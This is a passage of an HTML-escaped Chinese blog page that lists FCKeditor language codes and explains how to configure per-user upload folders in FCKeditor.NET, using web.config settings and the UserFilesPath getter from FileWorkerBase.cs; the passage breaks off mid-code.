&lt;p style="text-indent: 2em"&gt;af&amp;nbsp;&amp;nbsp;: 'Afrikaans',&lt;br /&gt;&amp;nbsp;&amp;nbsp;ar&amp;nbsp;&amp;nbsp;: 'Arabic',&lt;br /&gt;&amp;nbsp;&amp;nbsp;bg&amp;nbsp;&amp;nbsp;: 'Bulgarian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;bn&amp;nbsp;&amp;nbsp;: 'Bengali/Bangla',&lt;br /&gt;&amp;nbsp;&amp;nbsp;bs&amp;nbsp;&amp;nbsp;: 'Bosnian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;ca&amp;nbsp;&amp;nbsp;: 'Catalan',&lt;br /&gt;&amp;nbsp;&amp;nbsp;cs&amp;nbsp;&amp;nbsp;: 'Czech',&lt;br /&gt;&amp;nbsp;&amp;nbsp;cy&amp;nbsp;&amp;nbsp;: 'Welsh',&lt;br /&gt;&amp;nbsp;&amp;nbsp;da&amp;nbsp;&amp;nbsp;: 'Danish',&lt;br /&gt;&amp;nbsp;&amp;nbsp;de&amp;nbsp;&amp;nbsp;: 'German',&lt;br /&gt;&amp;nbsp;&amp;nbsp;el&amp;nbsp;&amp;nbsp;: 'Greek',&lt;br /&gt;&amp;nbsp;&amp;nbsp;en&amp;nbsp;&amp;nbsp;: 'English',&lt;br /&gt;&amp;nbsp;&amp;nbsp;'en-au'&amp;nbsp;: 'English (Australia)',&lt;br /&gt;&amp;nbsp;&amp;nbsp;'en-ca'&amp;nbsp;: 'English (Canadian)',&lt;br /&gt;&amp;nbsp;&amp;nbsp;'en-gb'&amp;nbsp;: 'English (United Kingdom)',&lt;br /&gt;&amp;nbsp;&amp;nbsp;eo&amp;nbsp;&amp;nbsp;: 'Esperanto',&lt;br /&gt;&amp;nbsp;&amp;nbsp;es&amp;nbsp;&amp;nbsp;: 'Spanish',&lt;br /&gt;&amp;nbsp;&amp;nbsp;et&amp;nbsp;&amp;nbsp;: 'Estonian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;eu&amp;nbsp;&amp;nbsp;: 'Basque',&lt;br /&gt;&amp;nbsp;&amp;nbsp;fa&amp;nbsp;&amp;nbsp;: 'Persian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;fi&amp;nbsp;&amp;nbsp;: 'Finnish',&lt;br /&gt;&amp;nbsp;&amp;nbsp;fo&amp;nbsp;&amp;nbsp;: 'Faroese',&lt;br /&gt;&amp;nbsp;&amp;nbsp;fr&amp;nbsp;&amp;nbsp;: 'French',&lt;br /&gt;&amp;nbsp;&amp;nbsp;'fr-ca'&amp;nbsp;: 'French (Canada)',&lt;br /&gt;&amp;nbsp;&amp;nbsp;gl&amp;nbsp;&amp;nbsp;: 'Galician',&lt;br /&gt;&amp;nbsp;&amp;nbsp;gu&amp;nbsp;&amp;nbsp;: 'Gujarati',&lt;br /&gt;&amp;nbsp;&amp;nbsp;he&amp;nbsp;&amp;nbsp;: 'Hebrew',&lt;br /&gt;&amp;nbsp;&amp;nbsp;hi&amp;nbsp;&amp;nbsp;: 'Hindi',&lt;br /&gt;&amp;nbsp;&amp;nbsp;hr&amp;nbsp;&amp;nbsp;: 'Croatian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;hu&amp;nbsp;&amp;nbsp;: 'Hungarian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;is&amp;nbsp;&amp;nbsp;: 'Icelandic',&lt;br /&gt;&amp;nbsp;&amp;nbsp;it&amp;nbsp;&amp;nbsp;: 'Italian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;ja&amp;nbsp;&amp;nbsp;: 'Japanese',&lt;br /&gt;&amp;nbsp;&amp;nbsp;km&amp;nbsp;&amp;nbsp;: 'Khmer',&lt;br /&gt;&amp;nbsp;&amp;nbsp;ko&amp;nbsp;&amp;nbsp;: 'Korean',&lt;br /&gt;&amp;nbsp;&amp;nbsp;lt&amp;nbsp;&amp;nbsp;: 'Lithuanian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;lv&amp;nbsp;&amp;nbsp;: 'Latvian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;mn&amp;nbsp;&amp;nbsp;: 'Mongolian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;ms&amp;nbsp;&amp;nbsp;: 'Malay',&lt;br /&gt;&amp;nbsp;&amp;nbsp;nb&amp;nbsp;&amp;nbsp;: 'Norwegian Bokmal',&lt;br /&gt;&amp;nbsp;&amp;nbsp;nl&amp;nbsp;&amp;nbsp;: 'Dutch',&lt;br /&gt;&amp;nbsp;&amp;nbsp;no&amp;nbsp;&amp;nbsp;: 'Norwegian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;pl&amp;nbsp;&amp;nbsp;: 'Polish',&lt;br /&gt;&amp;nbsp;&amp;nbsp;pt&amp;nbsp;&amp;nbsp;: 'Portuguese (Portugal)',&lt;br /&gt;&amp;nbsp;&amp;nbsp;'pt-br'&amp;nbsp;: 'Portuguese (Brazil)',&lt;br /&gt;&amp;nbsp;&amp;nbsp;ro&amp;nbsp;&amp;nbsp;: 'Romanian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;ru&amp;nbsp;&amp;nbsp;: 'Russian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;sk&amp;nbsp;&amp;nbsp;: 'Slovak',&lt;br /&gt;&amp;nbsp;&amp;nbsp;sl&amp;nbsp;&amp;nbsp;: 'Slovenian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;sr&amp;nbsp;&amp;nbsp;: 'Serbian (Cyrillic)',&lt;br /&gt;&amp;nbsp;&amp;nbsp;'sr-latn'&amp;nbsp;: 'Serbian (Latin)',&lt;br /&gt;&amp;nbsp;&amp;nbsp;sv&amp;nbsp;&amp;nbsp;: 'Swedish',&lt;br /&gt;&amp;nbsp;&amp;nbsp;th&amp;nbsp;&amp;nbsp;: 'Thai',&lt;br /&gt;&amp;nbsp;&amp;nbsp;tr&amp;nbsp;&amp;nbsp;: 'Turkish',&lt;br /&gt;&amp;nbsp;&amp;nbsp;uk&amp;nbsp;&amp;nbsp;: 'Ukrainian',&lt;br /&gt;&amp;nbsp;&amp;nbsp;vi&amp;nbsp;&amp;nbsp;: 'Vietnamese',&lt;br /&gt;&amp;nbsp;&amp;nbsp;zh&amp;nbsp;&amp;nbsp;: 'Chinese Traditional',&lt;br /&gt;&amp;nbsp;&amp;nbsp;'zh-cn'&amp;nbsp;: 'Chinese Simplified'&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;--------------------------------&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;strong&gt;&lt;a&gt;实现FCKeditor 多用户分文件夹上传图片等附件&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;FROM:&lt;a href="http://blog.breakn.net/article.asp?id=388"&gt;http://blog.breakn.net/article.asp?id=388&lt;/a&gt;&lt;/p&gt;&#xD;
&lt;p&gt;项目需要在线HTML编辑器，就选择了FCKeditor，目前最新是2.5Bate，不过稳定点定还是选了2.4.3，而.net的控件还是2.2没变过 &lt;img alt="[smile]" src="http://blog.breakn.net/styles/default/images/smilies/icon_smile.gif" border="0" /&gt; ，大概如何使用见我之前的&amp;#8220;&lt;a title="http://blog.breakn.net/article.asp?id=290" href="http://blog.breakn.net/article.asp?id=290" target="_blank"&gt;FCKeditor 2.3 在ASP.NET中文件上传路径的设置&lt;/a&gt;&amp;#8221;，关于它的配置如：界面布局啊什么的网上去搜索下，太多了，就不写了 &lt;img alt="[smile]" src="http://blog.breakn.net/styles/default/images/smilies/icon_smile.gif" border="0" /&gt; &lt;br /&gt;　　FCKeditor在web.config中有多项设置： &lt;/p&gt;&#xD;
&lt;div &gt;&#xD;
&lt;div &gt;&#xD;
&lt;div &gt;&lt;a onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;view plain&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('CopyToClipboard',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;copy to clipboard&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;print&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('About',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;?&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;ol &gt;&lt;li &gt;&lt;span &gt;&amp;lt;&lt;/span&gt;&lt;span &gt;appSettings&lt;/span&gt;&lt;span &gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;&amp;lt;!--FCKeditor设置（主要是以下两项）--&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;&amp;lt;!--FCKeditor编辑器路径--&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;&amp;lt;&lt;/span&gt;&lt;span &gt;add&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;key&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span &gt;"FCKeditor:BasePath"&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;value&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span &gt;"/FCKeditor/"&lt;/span&gt;&lt;span &gt;/&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;&amp;lt;!--FCKeditor用户附件上传路径--&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;&amp;lt;&lt;/span&gt;&lt;span &gt;add&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;key&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span &gt;"FCKeditor:UserFilesPath"&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;value&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span &gt;"/Resources/TempUpload/"&lt;/span&gt;&lt;span &gt;/&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&lt;/span&gt;&lt;span &gt;&amp;lt;/&lt;/span&gt;&lt;span &gt;appSettings&lt;/span&gt;&lt;span &gt;&amp;gt;&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;pre  style="display: none" name="code"&gt;&amp;lt;appSettings&amp;gt;&#xD;
 &amp;lt;!--FCKeditor设置（主要是以下两项）--&amp;gt;&#xD;
 &amp;lt;!--FCKeditor编辑器路径--&amp;gt;&#xD;
 &amp;lt;add key="FCKeditor:BasePath" value="/FCKeditor/"/&amp;gt;&#xD;
 &amp;lt;!--FCKeditor用户附件上传路径--&amp;gt;&#xD;
 &amp;lt;add key="FCKeditor:UserFilesPath" value="/Resources/TempUpload/"/&amp;gt;&#xD;
 &amp;lt;/appSettings&amp;gt;&lt;/pre&gt;&#xD;
&lt;p&gt;用户登录后通过FCKeditor上传文件则要放置在用户共用上传路径&amp;#8220;/Resources/UserUpload/&amp;#8221;+&amp;#8220;用户邮箱地址&amp;#8221;，如&amp;#8220;/Resources/UserUpload/user@gmail.com&amp;#8221;。FCKeditor.net获取上传路径文件是：&lt;span style="color: red"&gt;FileWorkerBase.cs&lt;/span&gt;，打开找到以下部分 &lt;/p&gt;&#xD;
&lt;div &gt;&#xD;
&lt;div &gt;&#xD;
&lt;div &gt;&lt;a onclick="dp.sh.Toolbar.Command('ViewSource',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;view plain&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('CopyToClipboard',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;copy to clipboard&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('PrintSource',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;print&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;a onclick="dp.sh.Toolbar.Command('About',this);return false;" href="http://blog.breakn.net/article.asp?id=388#"&gt;&lt;u&gt;&lt;font color="#0000ff"&gt;?&lt;/font&gt;&lt;/u&gt;&lt;/a&gt;&lt;/div&gt;&lt;/div&gt;&#xD;
&lt;ol &gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;protected&lt;/span&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span &gt;string&lt;/span&gt;&lt;span&gt;&amp;nbsp;UserFilesPath &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;get&lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(&amp;nbsp;sUserFilesPath&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span &gt;null&lt;/span&gt;&lt;span&gt;&amp;nbsp;) &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;//&amp;nbsp;第一回从Application["FCKeditor:UserFilesPath"]&amp;nbsp;中读取，如果没有尝试其它方式 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath&amp;nbsp;=&amp;nbsp;(&lt;/span&gt;&lt;span &gt;string&lt;/span&gt;&lt;span&gt;)Application[&lt;/span&gt;&lt;span &gt;"FCKeditor:UserFilesPath"&lt;/span&gt;&lt;span&gt;]&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;//&amp;nbsp;第二回从Session["FCKeditor:UserFilesPath"]&amp;nbsp;中读取，如果没有尝试其它方式 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(&amp;nbsp;sUserFilesPath&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span &gt;null&lt;/span&gt;&lt;span&gt;&amp;nbsp;||&amp;nbsp;sUserFilesPath.Length&amp;nbsp;==&amp;nbsp;0&amp;nbsp;) &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath&amp;nbsp;=&amp;nbsp;(&lt;/span&gt;&lt;span &gt;string&lt;/span&gt;&lt;span&gt;)Session[&lt;/span&gt;&lt;span &gt;"FCKeditor:UserFilesPath"&lt;/span&gt;&lt;span&gt;]&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;//&amp;nbsp;第三回从web.config中读取，如果没有尝试其它方式 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(&amp;nbsp;sUserFilesPath&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span &gt;null&lt;/span&gt;&lt;span&gt;&amp;nbsp;||&amp;nbsp;sUserFilesPath.Length&amp;nbsp;==&amp;nbsp;0&amp;nbsp;) &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath&amp;nbsp;=&amp;nbsp;System.Configuration.ConfigurationSettings.AppSettings[&lt;/span&gt;&lt;span &gt;"FCKeditor:UserFilesPath"&lt;/span&gt;&lt;span&gt;]&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;//&amp;nbsp;第四回从DEFAULT_USER_FILES_PATH（这个变量在同文件中）中读取，如果没有尝试其它方式 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(&amp;nbsp;sUserFilesPath&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span &gt;null&lt;/span&gt;&lt;span&gt;&amp;nbsp;||&amp;nbsp;sUserFilesPath.Length&amp;nbsp;==&amp;nbsp;0&amp;nbsp;)&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath&amp;nbsp;=&amp;nbsp;DEFAULT_USER_FILES_PATH&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;//&amp;nbsp;第五回从网址参数ServerPath中读取 &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(&amp;nbsp;sUserFilesPath&amp;nbsp;==&amp;nbsp;&lt;/span&gt;&lt;span &gt;null&lt;/span&gt;&lt;span&gt;&amp;nbsp;||&amp;nbsp;sUserFilesPath.Length&amp;nbsp;==&amp;nbsp;0&amp;nbsp;)&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{ &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath&amp;nbsp;=&amp;nbsp;Request.QueryString[&lt;/span&gt;&lt;span &gt;"ServerPath"&lt;/span&gt;&lt;span&gt;]&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;//&amp;nbsp;Check&amp;nbsp;that&amp;nbsp;the&amp;nbsp;user&amp;nbsp;path&amp;nbsp;ends&amp;nbsp;with&amp;nbsp;slash&amp;nbsp;("/") &lt;/span&gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;if&lt;/span&gt;&lt;span&gt;&amp;nbsp;(&amp;nbsp;!&amp;nbsp;sUserFilesPath.EndsWith(&lt;/span&gt;&lt;span &gt;"/"&lt;/span&gt;&lt;span&gt;)&amp;nbsp;) &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sUserFilesPath&amp;nbsp;+=&amp;nbsp;&lt;/span&gt;&lt;span &gt;"/"&lt;/span&gt;&lt;span&gt;&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;} &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/li&gt;&lt;li &gt;&lt;span&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span &gt;return&lt;/span&gt;&lt;span&gt;&amp;nbsp;sUserFilesPath&amp;nbsp;; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;li 